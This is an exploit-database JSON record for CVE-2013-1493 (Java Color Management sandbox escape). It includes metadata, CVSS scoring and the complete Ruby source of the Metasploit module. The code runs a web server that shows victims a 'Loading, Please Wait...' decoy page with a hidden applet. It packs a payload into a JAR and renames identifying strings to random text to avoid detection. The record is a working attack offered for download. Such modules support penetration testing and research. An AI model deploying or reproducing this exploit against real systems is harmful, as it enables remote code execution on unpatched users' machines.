{"exploit":{"id":"MSF-windows--browser--java_cmm","name":"Java CMM Remote Code Execution","description":"This module abuses the Color Management classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in February and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41 and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1 systems. This exploit doesn't bypass click-to-play, so the user must accept the java warning in order to run the malicious applet.","cves":["CVE-2013-1493"],"author":"Unknown, juan vazquez","published":"2013-03-01","platform":"Java,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/browser/java_cmm.rb","path":"modules/exploits/windows/browser/java_cmm.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"java_cmm.rb","vulnerabilities":[{"id":"CVE-2013-1493","state":"PUBLISHED","title":null,"titleSource":null,"description":"The color management (CMM) functionality in the 2D component in Oracle Java SE 7 Update 15 and earlier, 6 Update 41 and earlier, and 5.0 Update 40 and earlier allows remote attackers to execute arbitrary code or cause a denial of service (crash) via an image with crafted raster parameters, which triggers (1) an out-of-bounds read or (2) memory corruption in the JVM, as exploited in the wild in February 2013.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-1493","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-1493"},"updatedAt":"2024-08-06T15:04:48.820Z","retrievedAt":"2026-11-26T12:21:20.643Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--browser--java_cmm.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--browser--java_cmm","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--java_cmm/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--java_cmm/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n  include Msf::Exploit::EXE\n\n  # include Msf::Exploit::Remote::BrowserAutopwn\n  # autopwn_info({ :javascript => false })\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Java CMM Remote Code Execution',\n        'Description' => %q{\n          This module abuses the Color Management classes from a Java Applet to run\n          arbitrary Java code outside of the sandbox as exploited in the wild in February\n          and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41\n          and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1\n          systems. This exploit doesn't bypass click-to-play, so the user must accept the java\n          warning in order to run the malicious applet.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Unknown', # Vulnerability discovery and Exploit\n          'juan vazquez' # Metasploit module (just ported the published exploit)\n        ],\n        'References' => [\n          [ 'CVE', '2013-1493' ],\n          [ 'OSVDB', '90737' ],\n          [ 'BID', '58238' ],\n          [ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],\n          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],\n          [ 'URL', 'http://web.archive.org/web/20161013042610/http://pastie.org/pastes/6581034' ]\n        ],\n        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },\n        'Targets' => [\n          [\n            'Generic (Java Payload)',\n            {\n              'Platform' => 'java',\n              'Arch' => ARCH_JAVA\n            }\n          ],\n          [\n            'Windows x86 (Native Payload)',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_X86\n            }\n          ]\n        ],\n        'DefaultTarget' => 1,\n        'DisclosureDate' => '2013-03-01',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def setup\n    path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1493', 'Init.class')\n    @init_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }\n    path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1493', 'Leak.class')\n    @leak_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }\n    path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1493', 'MyBufferedImage.class')\n    @buffered_image_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }\n    path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1493', 'MyColorSpace.class')\n    @color_space_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }\n\n    @init_class_name = rand_text_alpha('Init'.length)\n    @init_class.gsub!('Init', @init_class_name)\n    super\n  end\n\n  def on_request_uri(cli, request)\n    print_status(\"handling request for #{request.uri}\")\n\n    case request.uri\n    when /\\.jar$/i\n      jar = payload.encoded_jar\n      jar.add_file(\"#{@init_class_name}.class\", @init_class)\n      jar.add_file('Leak.class', @leak_class)\n      jar.add_file('MyBufferedImage.class', @buffered_image_class)\n      jar.add_file('MyColorSpace.class', @color_space_class)\n      metasploit_str = rand_text_alpha('metasploit'.length)\n      payload_str = rand_text_alpha('payload'.length)\n      jar.entries.each do |entry|\n        entry.name.gsub!('metasploit', metasploit_str)\n        entry.name.gsub!('Payload', payload_str)\n        entry.data = entry.data.gsub('metasploit', metasploit_str)\n        entry.data = entry.data.gsub('Payload', payload_str)\n      end\n      jar.build_manifest\n\n      send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' })\n    when %r{/$}\n      payload = regenerate_payload(cli)\n      if !payload\n        print_error('Failed to generate the payload.')\n        send_not_found(cli)\n        return\n      end\n      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })\n    else\n      send_redirect(cli, get_resource + '/', '')\n    end\n  end\n\n  def generate_html\n    html = %(<html><head><title>Loading, Please Wait...</title></head>)\n    html += %(<body><center><p>Loading, Please Wait...</p></center>)\n    html += %(<applet archive=\"#{rand_text_alpha(8)}.jar\" code=\"#{@init_class_name}.class\" width=\"1\" height=\"1\">)\n    html += %(</applet></body></html>)\n    return html\n  end\nend\n","sha256":"094da7c9fd31270cd95b4975fe60004bf202b7262e83a8264f46ca6b57bdd309","bytes":4789,"fetchedAt":"2026-11-26T12:21:17.052Z","encoding":"utf-8 (display only; download retains original bytes)"}